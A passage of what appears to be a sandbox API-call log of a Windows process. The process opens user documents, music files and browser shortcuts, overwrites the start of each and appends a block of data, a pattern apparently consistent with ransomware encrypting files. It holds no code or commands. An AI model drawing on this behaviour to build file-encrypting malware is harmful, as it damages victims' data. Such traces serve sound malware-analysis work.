dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.774] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x10b1e [0053.774] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.774] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.774] ReleaseMutex (hMutex=0x128) returned 1 [0053.774] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Administrator.contact", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0053.774] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Administrator.contact", cchWideChar=21, lpMultiByteStr=0x1e786cc, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Administrator.contact", lpUsedDefaultChar=0x0) returned 21 [0053.774] ReadFile (in: hFile=0x12c, lpBuffer=0x2613678, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0053.776] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xfb1e [0053.776] ReadFile (in: hFile=0x12c, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.777] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xfb1e [0053.777] WriteFile (in: hFile=0x12c, lpBuffer=0x26156a8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x26156a8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0053.777] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0053.778] WriteFile (in: hFile=0x12c, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0053.778] CloseHandle (hObject=0x12c) returned 1 [0053.778] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5qXgv.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5qxgv.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.778] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.778] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x2f83 [0053.778] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.778] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.778] ReleaseMutex (hMutex=0x128) returned 1 [0053.778] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="5qXgv.ots", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0053.778] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="5qXgv.ots", cchWideChar=9, lpMultiByteStr=0x1e6324c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5qXgv.ots", lpUsedDefaultChar=0x0) returned 9 [0053.778] ReadFile (in: hFile=0x12c, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.779] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1f83 [0053.779] ReadFile (in: hFile=0x12c, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.779] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1f83 [0053.779] WriteFile (in: hFile=0x12c, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0053.780] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0053.780] WriteFile (in: hFile=0x12c, lpBuffer=0x276c358*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0053.780] CloseHandle (hObject=0x12c) returned 1 [0053.780] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ouu9U.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ouu9u.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.780] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.780] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x17afc [0053.780] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.780] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.781] ReleaseMutex (hMutex=0x128) returned 1 [0053.781] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ouu9U.pptx", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0053.781] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ouu9U.pptx", cchWideChar=10, lpMultiByteStr=0x1e6340c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ouu9U.pptx", lpUsedDefaultChar=0x0) returned 10 [0053.781] ReadFile (in: hFile=0x12c, lpBuffer=0x2613678, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0053.781] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x16afc [0053.781] ReadFile (in: hFile=0x12c, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.782] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x16afc [0053.782] WriteFile (in: hFile=0x12c, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0053.782] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0053.782] WriteFile (in: hFile=0x12c, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0053.783] CloseHandle (hObject=0x12c) returned 1 [0053.783] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.783] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.783] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xe2 [0053.783] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.783] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.783] ReleaseMutex (hMutex=0x128) returned 1 [0053.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Web Slice Gallery.url", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0053.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Web Slice Gallery.url", cchWideChar=21, lpMultiByteStr=0x1e78bcc, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Web Slice Gallery.url", lpUsedDefaultChar=0x0) returned 21 [0053.783] ReadFile (in: hFile=0x12c, lpBuffer=0x25c5088, nNumberOfBytesToRead=0xe2, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c5088*, lpNumberOfBytesRead=0x2b0f2bc*=0xe2, lpOverlapped=0x0) returned 1 [0053.784] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0053.784] WriteFile (in: hFile=0x12c, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66a, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2b0f2d0*=0x66a, lpOverlapped=0x0) returned 1 [0053.784] CloseHandle (hObject=0x12c) returned 1 [0053.785] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.785] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.786] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x85 [0053.786] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.786] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.786] ReleaseMutex (hMutex=0x128) returned 1 [0053.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSN.url", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0053.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSN.url", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSN.url", lpUsedDefaultChar=0x0) returned 7 [0053.786] ReadFile (in: hFile=0x12c, lpBuffer=0x257e318, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x257e318*, lpNumberOfBytesRead=0x2b0f2bc*=0x85, lpOverlapped=0x0) returned 1 [0053.787] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0053.787] WriteFile (in: hFile=0x12c, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x60d, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2b0f2d0*=0x60d, lpOverlapped=0x0) returned 1 [0053.787] CloseHandle (hObject=0x12c) returned 1 [0053.787] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\0EyeLvRo8p3.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\0eyelvro8p3.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.787] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.787] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xcabb [0053.787] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.787] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.787] ReleaseMutex (hMutex=0x128) returned 1 [0053.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="0EyeLvRo8p3.mp3", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0053.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="0EyeLvRo8p3.mp3", cchWideChar=15, lpMultiByteStr=0x1e633ec, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0EyeLvRo8p3.mp3", lpUsedDefaultChar=0x0) returned 15 [0053.788] ReadFile (in: hFile=0x12c, lpBuffer=0x2613678, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0053.788] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xbabb [0053.788] ReadFile (in: hFile=0x12c, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.788] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xbabb [0053.789] WriteFile (in: hFile=0x12c, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0053.789] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0053.789] WriteFile (in: hFile=0x12c, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0053.790] CloseHandle (hObject=0x12c) returned 1 [0053.790] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\C2L0NUWhcZCtWeWX.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c2l0nuwhczctwewx.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.790] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.790] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x6433 [0053.790] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.790] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.790] ReleaseMutex (hMutex=0x128) returned 1 [0053.790] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C2L0NUWhcZCtWeWX.wav", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0053.790] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C2L0NUWhcZCtWeWX.wav", cchWideChar=20, lpMultiByteStr=0x1e78bcc, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C2L0NUWhcZCtWeWX.wav", lpUsedDefaultChar=0x0) returned 20 [0053.790] ReadFile (in: hFile=0x12c, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.791] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x5433 [0053.791] ReadFile (in: hFile=0x12c, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.791] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x5433 [0053.791] WriteFile (in: hFile=0x12c, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0053.791] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0053.791] WriteFile (in: hFile=0x12c, lpBuffer=0x276c358*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0053.791] CloseHandle (hObject=0x12c) returned 1 [0053.792] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mqaA7OSp4n6suM5nf.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mqaa7osp4n6sum5nf.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.792] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.792] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x54f [0053.792] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.792] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.792] ReleaseMutex (hMutex=0x128) returned 1 [0053.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mqaA7OSp4n6suM5nf.mp3", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0053.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mqaA7OSp4n6suM5nf.mp3", cchWideChar=21, lpMultiByteStr=0x1e78bcc, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mqaA7OSp4n6suM5nf.mp3", lpUsedDefaultChar=0x0) returned 21 [0053.792] ReadFile (in: hFile=0x12c, lpBuffer=0x1e15458, nNumberOfBytesToRead=0x54f, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e15458*, lpNumberOfBytesRead=0x2b0f2bc*=0x54f, lpOverlapped=0x0) returned 1 [0053.793] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0053.793] WriteFile (in: hFile=0x12c, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0xad7, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2b0f2d0*=0xad7, lpOverlapped=0x0) returned 1 [0053.793] CloseHandle (hObject=0x12c) returned 1 [0053.793] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Uf1aI4F5-4tlSBnCq0qn.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uf1ai4f5-4tlsbncq0qn.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.793] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.793] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x630e [0053.793] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.794] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.794] ReleaseMutex (hMutex=0x128) returned 1 [0053.794] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Uf1aI4F5-4tlSBnCq0qn.mp3", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0053.794] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Uf1aI4F5-4tlSBnCq0qn.mp3", cchWideChar=24, lpMultiByteStr=0x1e7fb4c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Uf1aI4F5-4tlSBnCq0qn.mp3", lpUsedDefaultChar=0x0) returned 24 [0053.794] ReadFile (in: hFile=0x12c, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.794] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x530e [0053.794] ReadFile (in: hFile=0x12c, lpBuffer=0x2613678, 